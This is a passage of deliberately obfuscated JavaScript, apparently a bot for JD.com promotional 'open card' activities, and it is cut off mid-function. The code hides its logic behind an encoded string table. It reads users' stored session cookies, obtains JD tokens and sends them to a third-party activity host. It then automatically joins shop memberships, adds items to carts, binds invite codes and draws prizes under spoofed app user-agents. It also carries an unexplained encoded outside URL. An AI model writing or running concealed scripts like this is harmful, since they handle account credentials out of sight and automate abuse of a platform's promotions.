SEVVZFQ=','aXpJTWE=','TFlMSVU=','bEdqVE0=','dkJJRlE=','b3BtbmQ=','Wm1ha04=','S1NoQm4=','aW1WcXc=','a1lOVU4=','WWhDQnA=','Y29kZQ==','bXdqSlg=','a0lKSWg=','elNFZkQ=','UmpUdXY=','ZUxyUnM=','TU5Iekw=','RkxUY0Y=','ZFpSalg=','d21zYks=','a0dSUmU=','Y3FrTlo=','amluZ2dlbmdqY3E=','amRzaWduLmNm','clZSaUE=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','b2RHUk8=','dUt6TFQ=','ZW1RQnQ=','RkZSeG0=','SERaT1k=','Z0hYcWI=','QnlaZXk=','a2lJcEM=','UlVwVkk=','c05XRFY=','bWRyQkw=','ZUpDc2U=','enhVZVo=','cnllcm4=','R2RvYk8=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','cm5VcUw=','cGx6dmw=','UkFiVGc=','WnZSTno=','dWd4R2s=','R1VpVUs=','a3RJVnE=','U2xlWXo=','SmdUQmo=','Z3p2Rlk=','SURJZnE=','UlFyQlY=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','SWVJVWw=','QWh1RWo=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','NTFCNTlCQjgwNTkwM0RBNENFNTEzRDI5RUM0NDgzNzU=','MTAyOTkxNzE=','RVZidFg=','VVFYTmQ=','THJtZGY=','5pyJ54K55YS/5pS26I63','bXNn','bmFtZQ==','cGlzdmE=','eVhZcnI=','TEpvTnc=','bGVuZ3Ro','UGFIY3Y=','dUxBQXA=','eE9DVms=','bG9n','VXNlck5hbWU=','TlJyQXc=','bWF0Y2g=','aW5kZXg=','ZW1VVHE=','aXNMb2dpbg==','bmlja05hbWU=','R2pkQkM=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','aXNOb2Rl','YmVhbg==','QURJRA==','Z1ZQWGY=','amh6SHk=','VVVJRA==','T2lrb28=','YXBwa2V5','UlRDU2U=','dXNlcklk','VG9vd2E=','YWN0SWQ=','YXV0aG9yQ29kZQ==','WWZxTVA=','d2FpdA==','VmJPeUc=','a25nWnU=','bGZCVHo=','bVJiVmg=','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','a3NnUkY=','SGRPS3Q=','ZW52','U0lHTl9VUkw=','c2VuZE5vdGlmeQ==','dlJCU2k=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','YWN0aXZpdHlfbG9hZA==','Z25neVI=','SFRodGc=','MXwxMHw2fDl8N3w1fDJ8MHwzfDEyfDExfDh8NA==','NC7mir3lpZYgLT4=','MS7liqnlipvnoIEgLT4g','Y29tcGxldGUvbWlzc2lvbg==','dW5pdGVDb2xsZWN0U2hvcA==','ZHJhdy9wb3N0','ZHJhdw==','bWlzc2lvbi9jb21wbGV0ZS9zdGF0ZQ==','My7lhbPms6jlupfpk7ogLT4=','Mi7nu5HlrprliqnlipsgLT4=','c2hvcExpc3Q=','dW5pdGVBZGRDYXJ0','cmVsYXRpb25CaW5k','5ZCO6Z2i55qE5bCG57uZ6L+Z5Liq5Yqp5Yqb56CB5Yqp5YqbIC0+IA==','Ni7liqDlhaXotK3nianovaYgLT4=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','cmFZS20=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','YnV5ZXJOaWNr','YWN0aXZpdHlJbmZv','TlNBUEo=','SEN1TnM=','ekxIWm4=','T3d3Z0g=','dG5mR28=','VFdNRUo=','c0Z2amc=','c3BsaXQ=','d1BzWEE=','WkludFQ=','b2l0alI=','V09CcmY=','YkhWQ3c=','dVZEcGY=','Z3p0Zno=','QVJyb3E=','S1hlcmc=','UXhzV2o=','dmJOSGY=','QmxUVWc=','dUp6SHM=','VW93Zkc=','SHFRWVo=','dUpqUnY=','WnhVVGs=','bU1uS1E=','TkFsbXo=','eWduQUc=','bnpHSmQ=','TW10SGY=','cFpicEM=','aWhqRHY=','YkhjbmY=','b21TeGc=','c0pKaFY=','c2N5bHQ=','CCBd','5Lqs5Lic5rKh5pyJ6L+U5Zue5pWw5o2u','T2V4VHM=','WnByRW8=','Mi4w','UE9TVA==','WHdiTXk=','ZXBWUG8=','L29wZW5DYXJkTmV3Lw==','YXNzaWdu','cGFyYW1z','YWRtSnNvbg==','U2hNaXA=','RVhTTVY=','ZEZoY2U=','eHRVcmk=','blBvc2o=','RW9QWk8=','cG9zdA==','bUNHTkM=','T3RDRk4=','cE5IV2M=','RHpzbGQ=','SElJcEg=','bkV5VG0=','dXpzc04=','b051YUI=','SUxVVGw=','cGFyc2U=','c3VjY2Vzcw==','ZGF0YQ==','c3RhdHVz','TFdRQUU=','V2ZQcXM=','VlpTdkU=','YmVhVVA=','Y3VzQWN0aXZpdHk=','YWN0TmFtZQ==','Tk5ua3E=','anFKZGI=','Y3VzU2hvcHM=','VHpYSFc=','cmVtYXJr','Z3N5QWM=','TnFEbGs=','YXdhcmRTZXR0aW5n','YXdhcmROYW1l','Z0pJYnk=','Zmxvb3I=','aW9OZHo=','cmFuZG9t','eWpUV3U=','T0d3V20=','b3FHa0s=','cFBhVVc=','UkR1ZE0=','TUpSTEY=','ekFETGw=','TXJoZUE=','YXBpLm0uamQuY29t','Ki8q','a2VlcC1hbGl2ZQ==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','SXhsbkM=','c3RyaW5naWZ5','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','RkxRRFg=','dU5UQ1Q=','WWtTdFQ=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','Q1hZU3o=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','a1VQRG4=','YWN0aXZpdHlVcmw=','cHR0dHo=','ZkNjU1A=','RE5HbXM=','S3ZtZVY=','Z2V0','bXhCbGg=','cFBLeGM=','TlFMd0c=','Y1BYdlA=','RUZLWFA=','cE5ERHM=','cmVzdWx0','aW50ZXJlc3RzUnVsZUxpc3Q=','b3BlbkNhcmRBY3Rpdml0eUlk','aW50ZXJlc3RzSW5mbw==','YWN0aXZpdHlJZA==','d1dKR2o=','R3ZyY2M=','eU11b2M=','V0Zpamo=','dG9TdHJpbmc=','amluZ2dlbmdqY3EtaXN2LmlzdmpjbG91ZC5jb20=','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtQ04semgtSGFucztxPTAuOQ==','YXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOA==','aHR0cHM6Ly9qaW5nZ2VuZ2pjcS1pc3YuaXN2amNsb3VkLmNvbQ==','aHR0cHM6Ly9qaW5nZ2VuZ2pjcS1pc3YuaXN2amNsb3VkLmNvbS9mcm9udGg1Lz9zaWQ9','aHR0cHM6Ly9qaW5nZ2VuZ2pjcS1pc3YuaXN2amNsb3VkLmNvbS9kbS9mcm9udC9vcGVuQ2FyZE5ldy8=','PyZtaXhfbmljaz0=','bWxhalI=','ZVpGUno=','VUpjWXE=','cmpFaEs=','RGpkZ2c=','cE9sSlY=','eHdLUXY=','amRhcHA7aVBob25lOzEwLjQuNTsxMy42Ow==','dk9DQm8=','d2NmWFQ=','UE1aUmU=','TkJCQUI=','Y3d4dUI=','Z2VIRmY=','TE5FZlI=','cmVwbGFjZQ==','akFWYlU=','SFZTa0M=','dHd1R1c=','bUV1WUI=','eEZEalM=','ZUhOTXY=','ZnBvWVg=','VUxrUVo=','dG9VcHBlckNhc2U=','S0RHVkk=','T0luaEc=','MTAwMQ==','dXNlckluZm8=','SnBjV1k=','RmZuZ1I=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','S2tTb2I=','ZmpWenk=','Q0ZKSW8=','cVZEQVA=','Q0dPdGw=','WkpOVmw=','cGF1dVE=','b2RURmc=','cVVDT0g=','UkRmQVk=','UWpiRWs=','Y2hMSlM=','IGdldFNpZ24gQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','bG9nRXJy','dWxLR1Y=','cmV0Y29kZQ==','b1JmckI=','Q3FUcVk=','jGsqjNiafmiS.lMVcom.v6LEFLWfAek=='];if(function(_0x2a0508,_0x29c13e,_0x3cd445){function _0x4b24d6(_0x2aa984,_0x32a4da,_0xb73306,_0x3fdfab,_0x4f7091,_0x4e075e){_0x32a4da=_0x32a4da>>0x8,_0x4f7091='po';var _0x8b468e='shift',_0x445955='push',_0x4e075e='‮';if(_0x32a4da<_0x2aa984){while(--_0x2aa984){_0x3fdfab=_0x2a0508[_0x8b468e]();if(_0x32a4da===_0x2aa984&&_0x4e075e==='‮'&&_0x4e075e['length']===0x1){_0x32a4da=_0x3fdfab,_0xb73306=_0x2a0508[_0x4f7091+'p']();}else if(_0x32a4da&&_0xb73306['replace'](/[GqNfSlMVLEFLWfAek=]/g,'')===_0x32a4da){_0x2a0508[_0x445955](_0x3fdfab);}}_0x2a0508[_0x445955](_0x2a0508[_0x8b468e]());}return 0xfe22d;};return _0x4b24d6(++_0x29c13e,_0x3cd445)>>_0x29c13e^_0x3cd445;}(_0x3465,0x1ea,0x1ea00),_0x3465){_0xoda_=_0x3465['length']^0x1ea;};function _0x34f8(_0x5ba722,_0x125cf5){_0x5ba722=~~'0x'['concat'](_0x5ba722['slice'](0x1));var _0x3dbf8a=_0x3465[_0x5ba722];if(_0x34f8['DXzLbz']===undefined&&'‮'['length']===0x1){(function(){var _0x268ebe;try{var _0x5a249f=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x268ebe=_0x5a249f();}catch(_0x3ab892){_0x268ebe=window;}var _0x3216d4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x268ebe['atob']||(_0x268ebe['atob']=function(_0x46f9d4){var _0x3b6b89=String(_0x46f9d4)['replace'](/=+$/,'');for(var _0x55d19c=0x0,_0x89b5a5,_0x23f557,_0x5422aa=0x0,_0x36d362='';_0x23f557=_0x3b6b89['charAt'](_0x5422aa++);~_0x23f557&&(_0x89b5a5=_0x55d19c%0x4?_0x89b5a5*0x40+_0x23f557:_0x23f557,_0x55d19c++%0x4)?_0x36d362+=String['fromCharCode'](0xff&_0x89b5a5>>(-0x2*_0x55d19c&0x6)):0x0){_0x23f557=_0x3216d4['indexOf'](_0x23f557);}return _0x36d362;});}());_0x34f8['CltNwO']=function(_0x19fa78){var _0x1bad6d=atob(_0x19fa78);var _0x55ab5b=[];for(var _0x4e4375=0x0,_0x133b28=_0x1bad6d['length'];_0x4e4375<_0x133b28;_0x4e4375++){_0x55ab5b+='%'+('00'+_0x1bad6d['charCodeAt'](_0x4e4375)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55ab5b);};_0x34f8['BbdVtN']={};_0x34f8['DXzLbz']=!![];}var _0x2e0dbf=_0x34f8['BbdVtN'][_0x5ba722];if(_0x2e0dbf===undefined){_0x3dbf8a=_0x34f8['CltNwO'](_0x3dbf8a);_0x34f8['BbdVtN'][_0x5ba722]=_0x3dbf8a;}else{_0x3dbf8a=_0x2e0dbf;}return _0x3dbf8a;};!(async()=>{var _0x197938={'mRbVh':_0x34f8('‮0'),'pisva':_0x34f8('‮1'),'yXYrr':_0x34f8('‮2'),'LJoNw':function(_0xf63201,_0x4b3972){return _0xf63201<_0x4b3972;},'PaHcv':function(_0x5c207e,_0x392833){return _0x5c207e===_0x392833;},'uLAAp':_0x34f8('‫3'),'xOCVk':_0x34f8('‫4'),'NRrAw':function(_0x4707f4,_0x1c52c9){return _0x4707f4(_0x1c52c9);},'emUTq':function(_0x296dde,_0x443348){return _0x296dde+_0x443348;},'GjdBC':function(_0x4c65e8){return _0x4c65e8();},'gVPXf':function(_0x31850e,_0x4255c6,_0x270efe){return _0x31850e(_0x4255c6,_0x270efe);},'jhzHy':_0x34f8('‮5'),'Oikoo':_0x34f8('‮6'),'RTCSe':_0x34f8('‫7'),'Toowa':_0x34f8('‮8'),'YfqMP':function(_0x5b57bc,_0x4ce79d,_0x4a6c63){return _0x5b57bc(_0x4ce79d,_0x4a6c63);},'VbOyG':function(_0x303a75,_0x324d1f){return _0x303a75>_0x324d1f;},'kngZu':function(_0x52e5d6,_0x39c232){return _0x52e5d6!==_0x39c232;},'lfBTz':_0x34f8('‮9'),'ksgRF':_0x34f8('‫a'),'HdOKt':_0x34f8('‫b'),'vRBSi':_0x34f8('‮c')};if(!cookiesArr[0x0]){$[_0x34f8('‮d')]($[_0x34f8('‫e')],_0x197938[_0x34f8('‮f')],_0x197938[_0x34f8('‮10')],{'open-url':_0x197938[_0x34f8('‮10')]});return;}for(let _0x54e4ba=0x0;_0x197938[_0x34f8('‮11')](_0x54e4ba,cookiesArr[_0x34f8('‮12')]);_0x54e4ba++){if(cookiesArr[_0x54e4ba]){if(_0x197938[_0x34f8('‫13')](_0x197938[_0x34f8('‫14')],_0x197938[_0x34f8('‮15')])){console[_0x34f8('‮16')](error);}else{cookie=cookiesArr[_0x54e4ba];originCookie=cookiesArr[_0x54e4ba];newCookie='';$[_0x34f8('‫17')]=_0x197938[_0x34f8('‫18')](decodeURIComponent,cookie[_0x34f8('‫19')](/pt_pin=(.+?);/)&&cookie[_0x34f8('‫19')](/pt_pin=(.+?);/)[0x1]);$[_0x34f8('‫1a')]=_0x197938[_0x34f8('‫1b')](_0x54e4ba,0x1);$[_0x34f8('‫1c')]=!![];$[_0x34f8('‫1d')]='';await _0x197938[_0x34f8('‮1e')](checkCookie);console[_0x34f8('‮16')](_0x34f8('‫1f')+$[_0x34f8('‫1a')]+'】'+($[_0x34f8('‫1d')]||$[_0x34f8('‫17')])+_0x34f8('‮20'));if(!$[_0x34f8('‫1c')]){$[_0x34f8('‮d')]($[_0x34f8('‫e')],_0x34f8('‫21'),_0x34f8('‮22')+$[_0x34f8('‫1a')]+'\x20'+($[_0x34f8('‫1d')]||$[_0x34f8('‫17')])+_0x34f8('‫23'),{'open-url':_0x197938[_0x34f8('‮10')]});if($[_0x34f8('‫24')]()){}continue;}$[_0x34f8('‫25')]=0x0;$[_0x34f8('‮26')]=_0x197938[_0x34f8('‫27')](getUUID,_0x197938[_0x34f8('‫28')],0x1);$[_0x34f8('‫29')]=_0x197938[_0x34f8('‫18')](getUUID,_0x197938[_0x34f8('‮2a')]);authorCodeList=[];$[_0x34f8('‫2b')]=_0x197938[_0x34f8('‮2c')];$[_0x34f8('‫2d')]=_0x197938[_0x34f8('‫2e')];$[_0x34f8('‮2f')]=actId;$[_0x34f8('‮30')]=authorCodeList[_0x197938[_0x34f8('‫31')](random,0x0,authorCodeList[_0x34f8('‮12')])];await _0x197938[_0x34f8('‮1e')](openCardNew);await $[_0x34f8('‮32')](0x1f4);if(_0x197938[_0x34f8('‫33')]($[_0x34f8('‫25')],0x0)){if(_0x197938[_0x34f8('‮34')](_0x197938[_0x34f8('‮35')],_0x197938[_0x34f8('‮35')])){$[_0x34f8('‮16')](_0x197938[_0x34f8('‮36')]);}else{message+=_0x34f8('‫37')+$[_0x34f8('‫1a')]+'】'+($[_0x34f8('‫1d')]||$[_0x34f8('‫17')])+_0x34f8('‫38')+$[_0x34f8('‫25')]+_0x34f8('‮39');}}}}}if(_0x197938[_0x34f8('‮34')](message,'')){if(_0x197938[_0x34f8('‫13')](_0x197938[_0x34f8('‫3a')],_0x197938[_0x34f8('‫3b')])){Host=process[_0x34f8('‫3c')][_0x34f8('‮3d')];}else{if($[_0x34f8('‫24')]()){await notify[_0x34f8('‮3e')]($[_0x34f8('‫e')],message,'','\x0a');}else{$[_0x34f8('‮d')]($[_0x34f8('‫e')],_0x197938[_0x34f8('‫3f')],message);}}}})()[_0x34f8('‫40')](_0x53abd9=>{$[_0x34f8('‮16')]('','❌\x20'+$[_0x34f8('‫e')]+_0x34f8('‮41')+_0x53abd9+'!','');})[_0x34f8('‫42')](()=>{$[_0x34f8('‫43')]();});async function openCardNew(){var _0x2852d3={'nzGJd':function(_0x5a7a62){return _0x5a7a62();},'NSAPJ':function(_0x2b6d86){return _0x2b6d86();},'HCuNs':function(_0x2c84aa,_0x1bfeac,_0x2760d0){return _0x2c84aa(_0x1bfeac,_0x2760d0);},'zLHZn':_0x34f8('‮44'),'OwwgH':function(_0x60ecb7,_0x19c015){return _0x60ecb7!==_0x19c015;},'tnfGo':_0x34f8('‫45'),'TWMEJ':_0x34f8('‫46'),'sFvjg':_0x34f8('‫47'),'wPsXA':_0x34f8('‫48'),'ZIntT':function(_0x5c44ee,_0x39cb5f){return _0x5c44ee+_0x39cb5f;},'oitjR':_0x34f8('‫49'),'WOBrf':function(_0x5c0a3b,_0x2cbdf1,_0xba3a3){return _0x5c0a3b(_0x2cbdf1,_0xba3a3);},'bHVCw':_0x34f8('‫4a'),'uVDpf':_0x34f8('‮4b'),'gztfz':_0x34f8('‮4c'),'ARroq':_0x34f8('‫4d'),'KXerg':function(_0x475a97,_0x1098fa,_0x1c5aca){return _0x475a97(_0x1098fa,_0x1c5aca);},'QxsWj':_0x34f8('‮4e'),'vbNHf':_0x34f8('‫4f'),'BlTUg':_0x34f8('‫50'),'uJzHs':function(_0x2486eb,_0x30a355,_0x9f1e42){return _0x2486eb(_0x30a355,_0x9f1e42);},'UowfG':_0x34f8('‫51'),'HqQYZ':_0x34f8('‫52'),'uJjRv':function(_0x263277,_0x386541,_0x2af9ba){return _0x263277(_0x386541,_0x2af9ba);},'ZxUTk':_0x34f8('‫53'),'mMnKQ':function(_0x35b1a8,_0x57672c){return _0x35b1a8===_0x57672c;},'NAlmz':_0x34f8('‫54'),'ygnAG':_0x34f8('‮55'),'MmtHf':_0x34f8('‫56'),'pZbpC':_0x34f8('‫57'),'ihjDv':_0x34f8('‮58')};$[_0x34f8('‫59')]=null;$[_0x34f8('‫5a')]=null;$[_0x34f8('‮5b')]=null;await _0x2852d3[_0x34f8('‮5c')](getToken);if($[_0x34f8('‫59')]){await _0x2852d3[_0x34f8('‮5d')](task,_0x2852d3[_0x34f8('‮5e')],{'actId':$[_0x34f8('‮2f')],'inviteNick':$[_0x34f8('‮30')],'jdToken':$[_0x34f8('‫59')],'source':'01'});if($[_0x34f8('‫5a')]){if(_0x2852d3[_0x34f8('‫5f')](_0x2852d3[_0x34f8('‫60')],_0x2852d3[_0x34f8('‫61')])){var _0x712607=_0x2852d3[_0x34f8('‫62')][_0x34f8('‮63')]('|'),_0x14ad7c=0x0;while(!![]){switch(_0x712607[_0x14ad7c++]){case'0':console[_0x34f8('‮16')](_0x2852d3[_0x34f8('‫64')]);continue;case'1':console[_0x34f8('‮16')](_0x2852d3[_0x34f8('‫65')](_0x2852d3[_0x34f8('‫66')],$[_0x34f8('‫5a')]));continue;case'2':await _0x2852d3[_0x34f8('‮67')](task,_0x2852d3[_0x34f8('‮68')],{'actId':$[_0x34f8('‮2f')],'missionType':_0x2852d3[_0x34f8('‮69')]});continue;case'3':await _0x2852d3[_0x34f8('‮67')](task,_0x2852d3[_0x34f8('‮6a')],{'actId':$[_0x34f8('‮2f')],'usedGameNum':'2','dataType':_0x2852d3[_0x34f8('‮6b')]});continue;case'4':await _0x2852d3[_0x34f8('‮6c')](task,_0x2852d3[_0x34f8('‮6d')],{'actId':$[_0x34f8('‮2f')]});continue;case'5':console[_0x34f8('‮16')](_0x2852d3[_0x34f8('‮6e')]);continue;case'6':console[_0x34f8('‮16')](_0x2852d3[_0x34f8('‮6f')]);continue;case'7':await _0x2852d3[_0x34f8('‫70')](task,_0x2852d3[_0x34f8('‮71')],{'actId':$[_0x34f8('‮2f')]});continue;case'8':await _0x2852d3[_0x34f8('‫70')](task,_0x2852d3[_0x34f8('‮68')],{'actId':$[_0x34f8('‮2f')],'missionType':_0x2852d3[_0x34f8('‮72')]});continue;case'9':await _0x2852d3[_0x34f8('‫73')](task,_0x2852d3[_0x34f8('‮68')],{'actId':$[_0x34f8('‮2f')],'missionType':_0x2852d3[_0x34f8('‫74')],'inviterNick':$[_0x34f8('‮30')]});continue;case'10':if(_0x2852d3[_0x34f8('‫75')]($[_0x34f8('‫1a')],0x1)){ownCode=$[_0x34f8('‫5a')];console[_0x34f8('‮16')](_0x2852d3[_0x34f8('‫65')](_0x2852d3[_0x34f8('‮76')],ownCode));}continue;case'11':console[_0x34f8('‮16')](_0x2852d3[_0x34f8('‫77')]);continue;case'12':await _0x2852d3[_0x34f8('‫73')](task,_0x2852d3[_0x34f8('‮6d')],{'actId':$[_0x34f8('‮2f')]});continue;}break;}}else{_0x2852d3[_0x34f8('‮78')](resolve);}}else{$[_0x34f8('‮16')](_0x2852d3[_0x34f8('‮79')]);}}else{if(_0x2852d3[_0x34f8('‫5f')](_0x2852d3[_0x34f8('‮7a')],_0x2852d3[_0x34f8('‮7a')])){$[_0x34f8('‮16')](err);}else{$[_0x34f8('‮16')](_0x2852d3[_0x34f8('‮7b')]);}}}function task(_0x5274f5,_0x10a047){var _0x469d4e={'EoPZO':function(_0x44e2c0){return _0x44e2c0();},'OtCFN':function(_0x725168,_0x2b8e2a){return _0x725168!==_0x2b8e2a;},'pNHWc':_0x34f8('‮7c'),'Dzsld':function(_0x4ca078,_0x5288a5){return _0x4ca078===_0x5288a5;},'HIIpH':_0x34f8('‫7d'),'oNuaB':function(_0x5a5933,_0x42bb5c){return _0x5a5933===_0x42bb5c;},'ILUTl':_0x34f8('‫7e'),'LWQAE':_0x34f8('‮7f'),'WfPqs':_0x34f8('‮44'),'VZSvE':function(_0x45e262,_0x453024){return _0x45e262+_0x453024;},'beaUP':function(_0x48bade,_0x2169ef){return _0x48bade+_0x2169ef;},'NNnkq':_0x34f8('‫80'),'jqJdb':_0x34f8('‫51'),'TzXHW':_0x34f8('‫4a'),'gsyAc':_0x34f8('‮4e'),'NqDlk':_0x34f8('‮4c'),'gJIby':_0x34f8('‫81'),'yjTWu':_0x34f8('‮82'),'ShMip':function(_0x455331,_0x40c85a){return _0x455331+_0x40c85a;},'EXSMV':_0x34f8('‫54'),'dFhce':function(_0x42b9f9,_0x3d4542){return _0x42b9f9*_0x3d4542;},'xtUri':function(_0x13b4e2,_0xe21cba){return _0x13b4e2!==_0xe21cba;},'nPosj':_0x34f8('‮83'),'mCGNC':function(_0x125bda,_0x4572d3,_0x56a2d6){return _0x125bda(_0x4572d3,_0x56a2d6);},'XwbMy':_0x34f8('‫84'),'epVPo':_0x34f8('‫85')};body={'jsonRpc':_0x469d4e[_0x34f8('‮86')],'params':{'commonParameter':{'appkey':$[_0x34f8('‫2b')],'m':_0x469d4e[_0x34f8('‫87')],'timestamp':new Date(),'userId':$[_0x34f8('‫2d')]},'admJson':{'method':_0x34f8('‫88')+_0x5274f5,'userId':$[_0x34f8('‫2d')],'buyerNick':$[_0x34f8('‫5a')]?$[_0x34f8('‫5a')]:''}}};Object[_0x34f8('‫89')](body[_0x34f8('‮8a')][_0x34f8('‫8b')],_0x10a047);return new Promise(_0x13aa6a=>{var _0x279b1a={'nEyTm':function(_0x17ee59,_0x3bcae6){return _0x469d4e[_0x34f8('‫8c')](_0x17ee59,_0x3bcae6);},'uzssN':_0x469d4e[_0x34f8('‫8d')],'ioNdz':function(_0x503578,_0x5a47a6){return _0x469d4e[_0x34f8('‫8e')](_0x503578,_0x5a47a6);}};if(_0x469d4e[_0x34f8('‮8f')](_0x469d4e[_0x34f8('‮90')],_0x469d4e[_0x34f8('‮90')])){_0x469d4e[_0x34f8('‫91')](_0x13aa6a);}else{$[_0x34f8('‮92')](_0x469d4e[_0x34f8('‮93')](taskUrl,_0x5274f5,body),async(_0x192cec,_0x5edc50,_0x199d39)=>{if(_0x469d4e[_0x34f8('‮94')](_0x469d4e[_0x34f8('‫95')],_0x469d4e[_0x34f8('‫95')])){$[_0x34f8('‫1c')]=![];return;}else{try{if(_0x192cec){if(_0x469d4e[_0x34f8('‫96')](_0x469d4e[_0x34f8('‮97')],_0x469d4e[_0x34f8('‮97')])){$[_0x34f8('‮16')](_0x192cec);}else{ownCode=$[_0x34f8('‫5a')];console[_0x34f8('‮16')](_0x279b1a[_0x34f8('‫98')](_0x279b1a[_0x34f8('‫99')],ownCode));}}else{if(_0x469d4e[_0x34f8('‮9a')](_0x469d4e[_0x34f8('‫9b')],_0x469d4e[_0x34f8('‫9b')])){if(_0x199d39){_0x199d39=JSON[_0x34f8('‫9c')](_0x199d39);if(_0x199d39[_0x34f8('‫9d')]){if(_0x469d4e[_0x34f8('‮9a')](_0x199d39[_0x34f8('‮9e')][_0x34f8('‮9f')],0xc8)){if(_0x469d4e[_0x34f8('‮94')](_0x469d4e[_0x34f8('‮a0')],_0x469d4e[_0x34f8('‮a0')])){$[_0x34f8('‮16')](error);}else{switch(_0x5274f5){case _0x469d4e[_0x34f8('‫a1')]:$[_0x34f8('‫5a')]=_0x199d39[_0x34f8('‮9e')][_0x34f8('‮9e')][_0x34f8('‫5a')];console[_0x34f8('‮16')](_0x469d4e[_0x34f8('‫a2')](_0x469d4e[_0x34f8('‫a3')]('[\x20',_0x199d39[_0x34f8('‮9e')][_0x34f8('‮9e')][_0x34f8('‫a4')][_0x34f8('‫a5')]),_0x469d4e[_0x34f8('‫a6')]));break;case _0x469d4e[_0x34f8('‮a7')]:$[_0x34f8('‫51')]=_0x199d39[_0x34f8('‮9e')][_0x34f8('‮9e')][_0x34f8('‮a8')];break;case _0x469d4e[_0x34f8('‮a9')]:console[_0x34f8('‮16')](_0x199d39[_0x34f8('‮9e')][_0x34f8('‮9e')][_0x34f8('‮aa')]);break;case _0x469d4e[_0x34f8('‫ab')]:console[_0x34f8('‮16')](_0x199d39[_0x34f8('‫9d')]);break;case _0x469d4e[_0x34f8('‮ac')]:console[_0x34f8('‮16')](_0x199d39[_0x34f8('‮9e')][_0x34f8('‮9e')][_0x34f8('‮ad')][_0x34f8('‮ae')]);break;default:break;}}}}}else{$[_0x34f8('‮16')](_0x469d4e[_0x34f8('‮af')]);}}else{Host=HostArr[Math[_0x34f8('‫b0')](_0x279b1a[_0x34f8('‮b1')](Math[_0x34f8('‫b2')](),HostArr[_0x34f8('‮12')]))];}}}catch(_0x2b2078){if(_0x469d4e[_0x34f8('‮94')](_0x469d4e[_0x34f8('‫b3')],_0x469d4e[_0x34f8('‫b3')])){message+=_0x34f8('‫37')+$[_0x34f8('‫1a')]+'】'+($[_0x34f8('‫1d')]||$[_0x34f8('‫17')])+_0x34f8('‫38')+$[_0x34f8('‫25')]+_0x34f8('‮39');}else{$[_0x34f8('‮16')](_0x2b2078);}}finally{_0x469d4e[_0x34f8('‫91')](_0x13aa6a);}}});}});}function getShopOpenCardInfo(_0x45640a,_0x36f9c4){var _0x448181={'mxBlh':function(_0xd92cf2){return _0xd92cf2();},'pPKxc':_0x34f8('‫81'),'fCcSP':function(_0x247b42,_0x495e39){return 